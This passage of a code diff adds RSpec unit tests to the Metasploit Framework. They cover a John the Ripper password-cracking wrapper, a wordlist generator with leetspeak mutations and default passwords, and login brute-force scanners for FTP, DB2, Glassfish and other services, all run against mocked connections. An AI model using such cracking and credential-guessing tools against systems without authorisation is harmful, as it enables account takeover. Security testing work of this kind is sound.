it does not exist in the PATH' do + expect(Rex::FileUtils).to receive(:find_full_path).twice.and_return nil + expect(cracker).to receive(:select_shipped_binary).and_return other_john_path + expect(cracker.binary_path).to eq other_john_path + end + end + end + + describe '#crack_command' do + before(:each) do + expect(cracker).to receive(:binary_path).and_return john_path + expect(cracker).to receive(:john_session_id).and_return session_id + end + + it 'starts with the john binary path' do + expect(cracker.crack_command[0]).to eq john_path + end + + it 'sets a session id' do + expect(cracker.crack_command).to include "--session=#{session_id}" + end + + it 'sets the nolog flag' do + expect(cracker.crack_command).to include '--nolog' + end + + it 'adds a config directive if the user supplied one' do + cracker.config = config + expect(cracker.crack_command).to include "--config=#{config}" + end + + it 'does not use a config directive if not supplied one' do + expect(cracker.crack_command).to_not include "--config=#{config}" + end + + it 'uses the user supplied john.pot if there is one' do + cracker.pot = pot + expect(cracker.crack_command).to include "--pot=#{pot}" + end + + it 'uses default john.pot if the user did not supply one' do + expect(cracker).to receive(:john_pot_file).and_return other_pot + expect(cracker.crack_command).to include "--pot=#{other_pot}" + end + + it 'uses the user supplied format directive' do + cracker.format = nt_format + expect(cracker.crack_command).to include "--format=#{nt_format}" + end + + it 'uses the user supplied wordlist directive' do + cracker.wordlist = wordlist + expect(cracker.crack_command).to include "--wordlist=#{wordlist}" + end + + it 'uses the user supplied incremental directive' do + cracker.incremental = incremental + expect(cracker.crack_command).to include "--incremental=#{incremental}" + end + + it 'uses the user supplied rules directive' do + cracker.rules = rules + expect(cracker.crack_command).to include "--rules=#{rules}" + end + + it 'uses the user supplied max-run-time' do + cracker.max_runtime = max_runtime + expect(cracker.crack_command).to include "--max-run-time=#{max_runtime.to_s}" + end + + it 'puts the path to the has file at the end' do + cracker.hash_path = hash_path + expect(cracker.crack_command.last).to eq hash_path + end + + end + + describe '#show_command' do + before(:each) do + expect(cracker).to receive(:binary_path).and_return john_path + end + + it 'starts with the john binary path' do + expect(cracker.show_command[0]).to eq john_path + end + + it 'has the --show flag' do + expect(cracker.show_command).to include '--show' + end + + it 'uses the user supplied john.pot if there is one' do + cracker.pot = pot + expect(cracker.show_command).to include "--pot=#{pot}" + end + + it 'uses default john.pot if the user did not supply one' do + expect(cracker).to receive(:john_pot_file).and_return other_pot + expect(cracker.show_command).to include "--pot=#{other_pot}" + end + + it 'uses the user supplied format directive' do + cracker.format = nt_format + expect(cracker.show_command).to include "--format=#{nt_format}" + end + + it 'puts the path to the has file at the end' do + cracker.hash_path = hash_path + expect(cracker.show_command.last).to eq hash_path + end + end + + describe 'validations' do + context 'failures' do + context 'file_path validators' do + before(:each) do + expect(File).to receive(:file?).and_return false + end + + it 'produces the correct error message for config' do + cracker.config = config + expect(cracker).to_not be_valid + expect(cracker.errors[:config]).to include "is not a valid path to a regular file" + end + + it 'produces the correct error message for hash_path' do + cracker.hash_path = hash_path + expect(cracker).to_not be_valid + expect(cracker.errors[:hash_path]).to include "is not a valid path to a regular file" + end + + it 'produces the correct error message for pot' do + cracker.pot = pot + expect(cracker).to_not be_valid + expect(cracker.errors[:pot]).to include "is not a valid path to a regular file" + end + + it 'produces the correct error message for wordlist' do + cracker.wordlist = wordlist + expect(cracker).to_not be_valid + expect(cracker.errors[:wordlist]).to include "is not a valid path to a regular file" + end + end + + context 'executable_path validators' do + before(:each) do + expect(File).to receive(:executable?).and_return false + end + + it 'produces the correct error message for john_path' do + cracker.john_path = john_path + expect(cracker).to_not be_valid + expect(cracker.errors[:john_path]).to include "is not a valid path to an executable file" + end + end + end + + context 'successes' do + context 'file_path validators' do + before(:each) do + expect(File).to receive(:file?).and_return true + end + + it 'produces no error message for config' do + cracker.config = config + expect(cracker).to be_valid + expect(cracker.errors[:config]).to_not include "is not a valid path to a regular file" + end + + it 'produces no error message for hash_path' do + cracker.hash_path = hash_path + expect(cracker).to be_valid + expect(cracker.errors[:hash_path]).to_not include "is not a valid path to a regular file" + end + + it 'produces no error message for pot' do + cracker.pot = pot + expect(cracker).to be_valid + expect(cracker.errors[:pot]).to_not include "is not a valid path to a regular file" + end + + it 'produces no error message for wordlist' do + cracker.wordlist = wordlist + expect(cracker).to be_valid + expect(cracker.errors[:wordlist]).to_not include "is not a valid path to a regular file" + end + end + + context 'executable_path validators' do + before(:each) do + expect(File).to receive(:executable?).and_return true + end + + it 'produces no error message for john_path' do + cracker.john_path = john_path + expect(cracker).to be_valid + expect(cracker.errors[:john_path]).to_not include "is not a valid path to an executable file" + end + end + end + end +end diff --git a/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb b/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb new file mode 100644 index 0000000000..192ae127f8 --- /dev/null +++ b/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb @@ -0,0 +1,38 @@ +require 'spec_helper' +require 'metasploit/framework/jtr/invalid_wordlist' + +describe Metasploit::Framework::JtR::InvalidWordlist do + + subject(:invalid) do + described_class.new(model) + end + + let(:model) do + model_class.new + end + + let(:model_class) do + Class.new do + include ActiveModel::Validations + end + end + + it { should be_a StandardError } + + it 'should use ActiveModel::Errors#full_messages' do + model.errors.should_receive(:full_messages).and_call_original + + described_class.new(model) + end + + context '#model' do + subject(:error_model) do + invalid.model + end + + it 'should be the passed in model' do + error_model.should == model + end + end + +end diff --git a/spec/lib/metasploit/framework/jtr/wordlist_spec.rb b/spec/lib/metasploit/framework/jtr/wordlist_spec.rb new file mode 100644 index 0000000000..ba0839664b --- /dev/null +++ b/spec/lib/metasploit/framework/jtr/wordlist_spec.rb @@ -0,0 +1,138 @@ +require 'spec_helper' +require 'metasploit/framework/jtr/wordlist' + +describe Metasploit::Framework::JtR::Wordlist do + + subject(:wordlist) { described_class.new } + + let(:custom_wordlist) { File.expand_path('string_list.txt',FILE_FIXTURES_PATH) } + let(:expansion_word) { 'Foo bar_baz-bat.bam\\foo//bar' } + let(:common_root_path) { File.expand_path('fake_common_roots.txt',FILE_FIXTURES_PATH) } + let(:default_wordlist_path) { File.expand_path('fake_default_wordlist.txt',FILE_FIXTURES_PATH) } + let(:password) { FactoryGirl.create(:metasploit_credential_password) } + let(:public) { FactoryGirl.create(:metasploit_credential_public) } + let(:realm) { FactoryGirl.create(:metasploit_credential_realm) } + let(:mutate_me) { 'password' } + let(:mutants) { [ + "pa55word", + "password", + "pa$$word", + "passw0rd", + "pa55w0rd", + "pa$$w0rd", + "p@ssword", + "p@55word", + "p@$$word", + "p@ssw0rd", + "p@55w0rd", + "p@$$w0rd" + ] } + + it { should respond_to :appenders } + it { should respond_to :custom_wordlist } + it { should respond_to :mutate } + it { should respond_to :prependers } + it { should respond_to :use_common_root } + it { should respond_to :use_creds } + it { should respond_to :use_db_info } + it { should respond_to :use_default_wordlist } + it { should respond_to :use_hostnames } + + describe 'validations' do + + it 'raises an error if the custom_wordlist does not exist on the filesystem' do + expect(File).to receive(:file?).and_return false + wordlist.custom_wordlist = custom_wordlist + expect(wordlist).to_not be_valid + expect(wordlist.errors[:custom_wordlist]).to include "is not a valid path to a regular file" + end + + it 'raises an error if mutate is not set to true or false' do + expect(wordlist).to_not be_valid + expect(wordlist.errors[:mutate]).to include "must be true or false" + end + + it 'raises an error if use_common_root is not set to true or false' do + expect(wordlist).to_not be_valid + expect(wordlist.errors[:use_common_root]).to include "must be true or false" + end + + it 'raises an error if use_creds is not set to true or false' do + expect(wordlist).to_not be_valid + expect(wordlist.errors[:use_creds]).to include "must be true or false" + end + + it 'raises an error if use_db_info is not set to true or false' do + expect(wordlist).to_not be_valid + expect(wordlist.errors[:use_db_info]).to include "must be true or false" + end + + it 'raises an error if use_default_wordlist is not set to true or false' do + expect(wordlist).to_not be_valid + expect(wordlist.errors[:use_default_wordlist]).to include "must be true or false" + end + + it 'raises an error if use_hostnames is not set to true or false' do + expect(wordlist).to_not be_valid + expect(wordlist.errors[:use_hostnames]).to include "must be true or false" + end + end + + describe '#valid!' do + it 'raises an InvalidWordlist exception if not valid?' do + expect{ wordlist.valid! }.to raise_error Metasploit::Framework::JtR::InvalidWordlist + end + end + + describe '#expanded_words' do + it 'yields all the possible component words in the string' do + expect { |b| wordlist.expanded_words(expansion_word,&b) }.to yield_successive_args('Foo','bar','baz','bat','bam','foo','bar') + end + end + + describe '#each_custom_word' do + it 'yields each word in that wordlist' do + wordlist.custom_wordlist = custom_wordlist + expect{ |b| wordlist.each_custom_word(&b) }.to yield_successive_args('foo', 'bar','baz') + end + end + + describe '#each_root_word' do + it 'yields each word in the common_roots.txt list' do + expect(wordlist).to receive(:common_root_words_path).and_return common_root_path + expect { |b| wordlist.each_root_word(&b) }.to yield_successive_args('password', 'root', 'toor') + end + end + + describe '#each_default_word' do + it 'yields each word in the passwords.lst list' do + expect(wordlist).to receive(:default_wordlist_path).and_return default_wordlist_path + expect { |b| wordlist.each_default_word(&b) }.to yield_successive_args('changeme', 'summer123', 'admin') + end + end + + define '#each_cred_word' do + it 'yields each username,password,and realm in the database' do + expect{ |b| wordlist.each_cred_word(&b) }.to yield_successive_args(password.data, public,username, realm,value) + end + end + + describe '#mutate_word' do + it 'returns an array with all possible mutations of the word' do + expect(wordlist.mutate_word(mutate_me)).to eq mutants + end + end + + describe '#each_mutated_word' do + it 'yields each unique mutated word if mutate set to true' do + wordlist.mutate = true + expect { |b| wordlist.each_mutated_word(mutate_me,&b)}.to yield_successive_args(*mutants) + end + + it 'yields the original word if mutate set to true' do + wordlist.mutate = false + expect { |b| wordlist.each_mutated_word(mutate_me,&b)}.to yield_with_args(mutate_me) + end + end + +end diff --git a/spec/lib/metasploit/framework/login_scanner/afp_spec.rb b/spec/lib/metasploit/framework/login_scanner/afp_spec.rb new file mode 100644 index 0000000000..617d28f0d7 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/afp_spec.rb @@ -0,0 +1,60 @@ + +require 'spec_helper' +require 'metasploit/framework/login_scanner/afp' + +describe Metasploit::Framework::LoginScanner::AFP do + + subject(:scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::Tcp::Client' + + it { should respond_to :login_timeout } + + describe "#attempt_login" do + let(:pub_blank) do + Metasploit::Framework::Credential.new( + paired: true, + public: "public", + private: '' + ) + end + + it "Rex::ConnectionError should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + expect(scanner).to receive(:connect).and_raise(Rex::ConnectionError) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + it "Timeout::Error should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + expect(scanner).to receive(:connect).and_raise(Timeout::Error) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + it "EOFError should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + expect(scanner).to receive(:connect).and_raise(EOFError) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + it "considers :skip_user to mean failure" do + expect(scanner).to receive(:connect) + expect(scanner).to receive(:login).and_return(:skip_user) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::INCORRECT) + end + + end + +end + diff --git a/spec/lib/metasploit/framework/login_scanner/axis2_spec.rb b/spec/lib/metasploit/framework/login_scanner/axis2_spec.rb new file mode 100644 index 0000000000..e75465609e --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/axis2_spec.rb @@ -0,0 +1,21 @@ + +require 'spec_helper' +require 'metasploit/framework/login_scanner/axis2' + +describe Metasploit::Framework::LoginScanner::Axis2 do + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP' + + context "#method=" do + subject(:scanner) { described_class.new } + + it "should raise, warning that the :method can't be changed" do + expect { scanner.method = "GET" }.to raise_error(RuntimeError) + expect(scanner.method).to eq("POST") + end + end + +end + diff --git a/spec/lib/metasploit/framework/login_scanner/buffalo_spec.rb b/spec/lib/metasploit/framework/login_scanner/buffalo_spec.rb new file mode 100644 index 0000000000..c348825798 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/buffalo_spec.rb @@ -0,0 +1,10 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/buffalo' + +describe Metasploit::Framework::LoginScanner::Buffalo do + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP' + +end diff --git a/spec/lib/metasploit/framework/login_scanner/db2_spec.rb b/spec/lib/metasploit/framework/login_scanner/db2_spec.rb new file mode 100644 index 0000000000..d682445de8 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/db2_spec.rb @@ -0,0 +1,45 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/db2' + +describe Metasploit::Framework::LoginScanner::DB2 do + let(:public) { 'root' } + let(:private) { 'toor' } + let(:test_cred) { + Metasploit::Framework::Credential.new( public: public, private: private ) + } + subject(:login_scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: true + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::Tcp::Client' + + context '#attempt_login' do + + context 'when the socket errors' do + it 'returns a connection_error result for an Rex::ConnectionError' do + my_scanner = login_scanner + my_scanner.should_receive(:connect).and_raise ::Rex::ConnectionError + result = my_scanner.attempt_login(test_cred) + expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + expect(result.proof).to be_a(::Rex::ConnectionError) + end + + it 'returns a connection_error result for an Rex::ConnectionTimeout' do + my_scanner = login_scanner + my_scanner.should_receive(:connect).and_raise ::Rex::ConnectionTimeout + result = my_scanner.attempt_login(test_cred) + expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + expect(result.proof).to be_a(::Rex::ConnectionTimeout) + end + + it 'returns a connection_error result for an ::Timeout::Error' do + my_scanner = login_scanner + my_scanner.should_receive(:connect).and_raise ::Timeout::Error + result = my_scanner.attempt_login(test_cred) + expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + expect(result.proof).to be_a(::Timeout::Error) + end + end + end + +end diff --git a/spec/lib/metasploit/framework/login_scanner/ftp_spec.rb b/spec/lib/metasploit/framework/login_scanner/ftp_spec.rb new file mode 100644 index 0000000000..1b7acf5053 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/ftp_spec.rb @@ -0,0 +1,135 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/ftp' + +describe Metasploit::Framework::LoginScanner::FTP do + let(:public) { 'root' } + let(:private) { 'toor' } + + let(:pub_blank) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: '' + ) + } + + let(:pub_pub) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: public + ) + } + + let(:pub_pri) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: private + ) + } + + let(:invalid_detail) { + Metasploit::Framework::Credential.new( + paired: true, + public: nil, + private: nil + ) + } + + let(:detail_group) { + [ pub_blank, pub_pub, pub_pri] + } + + subject(:ftp_scanner) { + described_class.new + } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::Tcp::Client' + + + + context 'validations' do + context 'ftp_timeout' do + + it 'defaults to 16' do + expect(ftp_scanner.ftp_timeout).to eq 16 + end + + it 'is not valid for a non-number' do + ftp_scanner.ftp_timeout = "a" + expect(ftp_scanner).to_not be_valid + expect(ftp_scanner.errors[:ftp_timeout]).to include "is not a number" + end + + it 'is not valid for a floating point' do + ftp_scanner.ftp_timeout = 5.76 + expect(ftp_scanner).to_not be_valid + expect(ftp_scanner.errors[:ftp_timeout]).to include "must be an integer" + end + + it 'is not valid for a negative number' do + ftp_scanner.ftp_timeout = -8 + expect(ftp_scanner).to_not be_valid + expect(ftp_scanner.errors[:ftp_timeout]).to include "must be greater than or equal to 1" + end + + it 'is not valid for 0' do + ftp_scanner.ftp_timeout = 0 + expect(ftp_scanner).to_not be_valid + expect(ftp_scanner.errors[:ftp_timeout]).to include "must be greater than or equal to 1" + end + + it 'is valid for a legitimate number' do + ftp_scanner.ftp_timeout = rand(1000) + 1 + expect(ftp_scanner.errors[:ftp_timeout]).to be_empty + end + end + + + end + + context '#attempt_login' do + before(:each) do + ftp_scanner.host = '127.0.0.1' + ftp_scanner.port = 21 + ftp_scanner.connection_timeout = 30 + ftp_scanner.ftp_timeout = 16 + ftp_scanner.stop_on_success = true + ftp_scanner.cred_details = detail_group + end + + + context 'when it fails' do + + it 'returns Metasploit::Model::Login::Status::UNABLE_TO_CONNECT for a Rex::ConnectionError' do + Rex::Socket::Tcp.should_receive(:create) { raise Rex::ConnectionError } + expect(ftp_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns Metasploit::Model::Login::Status::UNABLE_TO_CONNECT for a Rex::AddressInUse' do + Rex::Socket::Tcp.should_receive(:create) { raise Rex::AddressInUse } + expect(ftp_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns :connection_disconnect for a ::EOFError' do + Rex::Socket::Tcp.should_receive(:create) { raise ::EOFError } + expect(ftp_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns :connection_disconnect for a ::Timeout::Error' do + Rex::Socket::Tcp.should_receive(:create) { raise ::Timeout::Error } + expect(ftp_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + end + + context 'when it succeeds' do + + + end + end + +end diff --git a/spec/lib/metasploit/framework/login_scanner/glassfish_spec.rb b/spec/lib/metasploit/framework/login_scanner/glassfish_spec.rb new file mode 100644 index 0000000000..094ff19e27 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/glassfish_spec.rb @@ -0,0 +1,337 @@ + +require 'spec_helper' +require 'metasploit/framework/login_scanner/glassfish' + +describe Metasploit::Framework::LoginScanner::Glassfish do + + subject(:http_scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + + + let(:good_version) do + '4.0' + end + + let(:bad_version) do + 'Unknown' + end + + let(:username) do + 'admin' + end + + let(:username_disabled) do + 'admin_disabled' + end + + let(:password) do + 'password' + end + + let(:password_disabled) do + 'password_disabled' + end + + let(:cred) do + Metasploit::Framework::Credential.new( + paired: true, + public: username, + private: password + ) + end + + let(:bad_cred) do + Metasploit::Framework::Credential.new( + paired: true, + public: 'bad', + private: 'bad' + ) + end + + let(:disabled_cred) do + Metasploit::Framework::Credential.new( + paired: true, + public: username_disabled, + private: password_disabled + ) + end + + let(:res_code) do + 200 + end + + before do + http_scanner.instance_variable_set(:@version, good_version) + end + + context '#send_request' do + let(:req_opts) do + {'uri'=>'/', 'method'=>'GET'} + end + + it 'returns a Rex::Proto::Http::Response object' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).and_return(Rex::Proto::Http::Response.new(res_code)) + expect(http_scanner.send_request(req_opts)).to be_kind_of(Rex::Proto::Http::Response) + end + + it 'parses JSESSIONID session cookies' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).and_return(Rex::Proto::Http::Response.new(res_code)) + allow_any_instance_of(Rex::Proto::Http::Response).to receive(:get_cookies).and_return("JSESSIONID=JSESSIONID_MAGIC_VALUE;") + http_scanner.send_request(req_opts) + expect(http_scanner.jsession).to eq("JSESSIONID_MAGIC_VALUE") + end + end + + context '#is_secure_admin_disabled?' do + it 'returns true when Secure Admin is disabled' do + res = Rex::Proto::Http::Response.new(res_code) + res.stub(:body).and_return('Secure Admin must be enabled') + expect(http_scanner.is_secure_admin_disabled?(res)).to be_truthy + end + + it 'returns false when Secure Admin is enabled' do + res = Rex::Proto::Http::Response.new(res_code) + res.stub(:body).and_return('') + expect(http_scanner.is_secure_admin_disabled?(res)).to be_falsey + end + end + + context '#try_login' do + it 'sends a login request to /j_security_check' do + expect(http_scanner).to receive(:send_request).with(hash_including('uri'=>'/j_security_check')) + http_scanner.try_login(cred) + end + + it 'sends a login request containing the username and password' do + expect(http_scanner).to receive(:send_request).with(hash_including('data'=>"j_username=#{username}&j_password=#{password}&loginButton=Login")) + http_scanner.try_login(cred) + end + end + + context '#try_glassfish_2' do + + let(:login_ok_message) do + 'Deploy Enterprise Applications/Modules' + end + + before :each do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| + if req.opts['uri'] && req.opts['uri'].include?('j_security_check') && + req.opts['data'] && + req.opts['data'].include?("j_username=#{username}") && + req. opts['data'].include?("j_password=#{password}") + res = Rex::Proto::Http::Response.new(302) + res.headers['Location'] = '/applications/upload.jsf' + res.headers['Set-Cookie'] = 'JSESSIONID=GOODSESSIONID' + res + elsif req.opts['uri'] && req.opts['uri'].include?('j_security_check') + res = Rex::Proto::Http::Response.new(200) + res.body = 'bad login' + elsif req.opts['uri'] && + req.opts['uri'].include?('/applications/upload.jsf') + res = Rex::Proto::Http::Response.new(200) + res.body = 'Deploy Enterprise Applications/Modules' + else + res = Rex::Proto::Http::Response.new(404) + end + + res + end + end + + it 'returns status Metasploit::Model::Login::Status::SUCCESSFUL for a valid credential' do + expect(http_scanner.try_glassfish_2(cred)[:status]).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) + end + + it 'returns Metasploit::Model::Login::Status::INCORRECT for an invalid credential' do + expect(http_scanner.try_glassfish_2(bad_cred)[:status]).to eq(Metasploit::Model::Login::Status::INCORRECT) + end + end + + context '#try_glassfish_3' do + + let(:login_ok_message) do + 'Deploy Enterprise Applications/Modules' + end + + before :each do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| + if req.opts['uri'] && req.opts['uri'].include?('j_security_check') && + req.opts['data'] && + req.opts['data'].include?("j_username=#{username}") && + req. opts['data'].include?("j_password=#{password}") + res = Rex::Proto::Http::Response.new(302) + res.headers['Location'] = '/common/applications/uploadFrame.jsf' + res.headers['Set-Cookie'] = 'JSESSIONID=GOODSESSIONID' + res + elsif req.opts['uri'] && req.opts['uri'].include?('j_security_check') && + req.opts['data'] && + req.opts['data'].include?("j_username=#{username_disabled}") && + req. opts['data'].include?("j_password=#{password_disabled}") + res = Rex::Proto::Http::Response.new(200) + res.body = 'Secure Admin must be enabled' + elsif req.opts['uri'] && req.opts['uri'].include?('j_security_check') + res = Rex::Proto::Http::Response.new(200) + res.body = 'bad login' + elsif req.opts['uri'] && + req.opts['uri'].include?('/common/applications/uploadFrame.jsf') + res = Rex::Proto::Http::Response.new(200) + res.body = 'Deploy Applications or Modules' + else + res = Rex::Proto::Http::Response.new(404) + end + + res + end + end + + it 'returns status Metasploit::Model::Login::Status::SUCCESSFUL for a valid credential' do + expect(http_scanner.try_glassfish_3(cred)[:status]).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) + end + + it 'returns status Metasploit::Model::Login::Status::SUCCESSFUL based on a disabled remote admin message' do + expect(http_scanner.try_glassfish_3(disabled_cred)[:status]).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) + end + + it 'returns status Metasploit::Model::Login::Status::INCORRECT for an invalid credential' do + expect(http_scanner.try_glassfish_3(bad_cred)[:status]).to eq(Metasploit::Model::Login::Status::INCORRECT) + end + end + + context '#attempt_login' do + context 'when Rex::Proto::Http::Client#connect raises a Rex::ConnectionError' do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Rex::ConnectionError) + expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context 'when Rex::Proto::Http::Client#connect raises a Timeout::Error' do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Timeout::Error) + expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context 'when Rex::Proto::Http::Client#connect raises a EOFError' do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(EOFError) + expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context 'when Glassfish version 2' do + let(:login_ok_message) do + '<title>Deploy Enterprise Applications/Modules' + end + + it 'returns a Metasploit::Framework::LoginScanner::Result' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| + if req.opts['uri'] && req.opts['uri'].include?('j_security_check') && + req.opts['data'] && + req.opts['data'].include?("j_username=#{username}") && + req. opts['data'].include?("j_password=#{password}") + res = Rex::Proto::Http::Response.new(302) + res.headers['Location'] = '/applications/upload.jsf' + res.headers['Set-Cookie'] = 'JSESSIONID=GOODSESSIONID' + res + elsif req.opts['uri'] && req.opts['uri'].include?('j_security_check') + res = Rex::Proto::Http::Response.new(200) + res.body = 'bad login' + elsif req.opts['uri'] && + req.opts['uri'].include?('/applications/upload.jsf') + res = Rex::Proto::Http::Response.new(200) + res.body = 'Deploy Enterprise Applications/Modules' + else + res = Rex::Proto::Http::Response.new(404) + end + + res + end + + expect(http_scanner.attempt_login(cred)).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + end + end + + context 'when Glassfish version 3' do + let(:login_ok_message) do + 'Deploy Enterprise Applications/Modules' + end + + + it 'returns a Metasploit::Framework::LoginScanner::Result' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| + if req.opts['uri'] && req.opts['uri'].include?('j_security_check') && + req.opts['data'] && + req.opts['data'].include?("j_username=#{username}") && + req. opts['data'].include?("j_password=#{password}") + res = Rex::Proto::Http::Response.new(302) + res.headers['Location'] = '/common/applications/uploadFrame.jsf' + res.headers['Set-Cookie'] = 'JSESSIONID=GOODSESSIONID' + res + elsif req.opts['uri'] && req.opts['uri'].include?('j_security_check') && + req.opts['data'] && + req.opts['data'].include?("j_username=#{username_disabled}") && + req. opts['data'].include?("j_password=#{password_disabled}") + res = Rex::Proto::Http::Response.new(200) + res.body = 'Secure Admin must be enabled' + elsif req.opts['uri'] && req.opts['uri'].include?('j_security_check') + res = Rex::Proto::Http::Response.new(200) + res.body = 'bad login' + elsif req.opts['uri'] && + req.opts['uri'].include?('/common/applications/uploadFrame.jsf') + res = Rex::Proto::Http::Response.new(200) + res.body = 'Deploy Applications or Modules' + else + res = Rex::Proto::Http::Response.new(404) + end + + res + end + + expect(http_scanner.attempt_login(cred)).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + end + end + end + + context '#extract_version' do + # Thanks to shodan for Server headers + subject(:extracted_version) { http_scanner.extract_version(server_header) } + + context 'with 9.1 header' do + let(:server_header) { "Sun Java System Application Server 9.1_02" } + it { is_expected.to start_with("9") } + end + + context 'with 4.0 header' do + let(:server_header) { "GlassFish Server Open Source Edition 4.0" } + it { is_expected.to start_with("4") } + end + + context 'with 3.0 header' do + let(:server_header) { "GlassFish Server Open Source Edition 3.0.1" } + it { is_expected.to start_with("3") } + end + + context 'with non-open-source header' do + let(:server_header) { "Oracle GlassFish Server 3.1.2.3" } + it { is_expected.to start_with("3") } + end + + context 'with 2.1 header' do + let(:server_header) { "Sun GlassFish Enterprise Server v2.1" } + it { is_expected.to start_with("2") } + end + + context 'with bogus header' do + let(:server_header) { "Apache-Coyote/1.1" } + it { is_expected.to be_nil } + end + + + end + +end + diff --git a/spec/lib/metasploit/framework/login_scanner/http_spec.rb b/spec/lib/metasploit/framework/login_scanner/http_spec.rb new file mode 100644 index 0000000000..e0065623f6 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/http_spec.rb @@ -0,0 +1,11 @@ + +require 'spec_helper' +require 'metasploit/framework/login_scanner/http' + +describe Metasploit::Framework::LoginScanner::HTTP do + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP' + +end diff --git a/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb b/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb new file mode 100644 index 0000000000..1db6b7f4cf --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb @@ -0,0 +1,38 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/invalid' + +describe Metasploit::Framework::LoginScanner::Invalid do + + subject(:invalid) do + described_class.new(model) + end + + let(:model) do + model_class.new + end + + let(:model_class) do + Class.new do + include ActiveModel::Validations + end + end + + it { should be_a StandardError } + + it 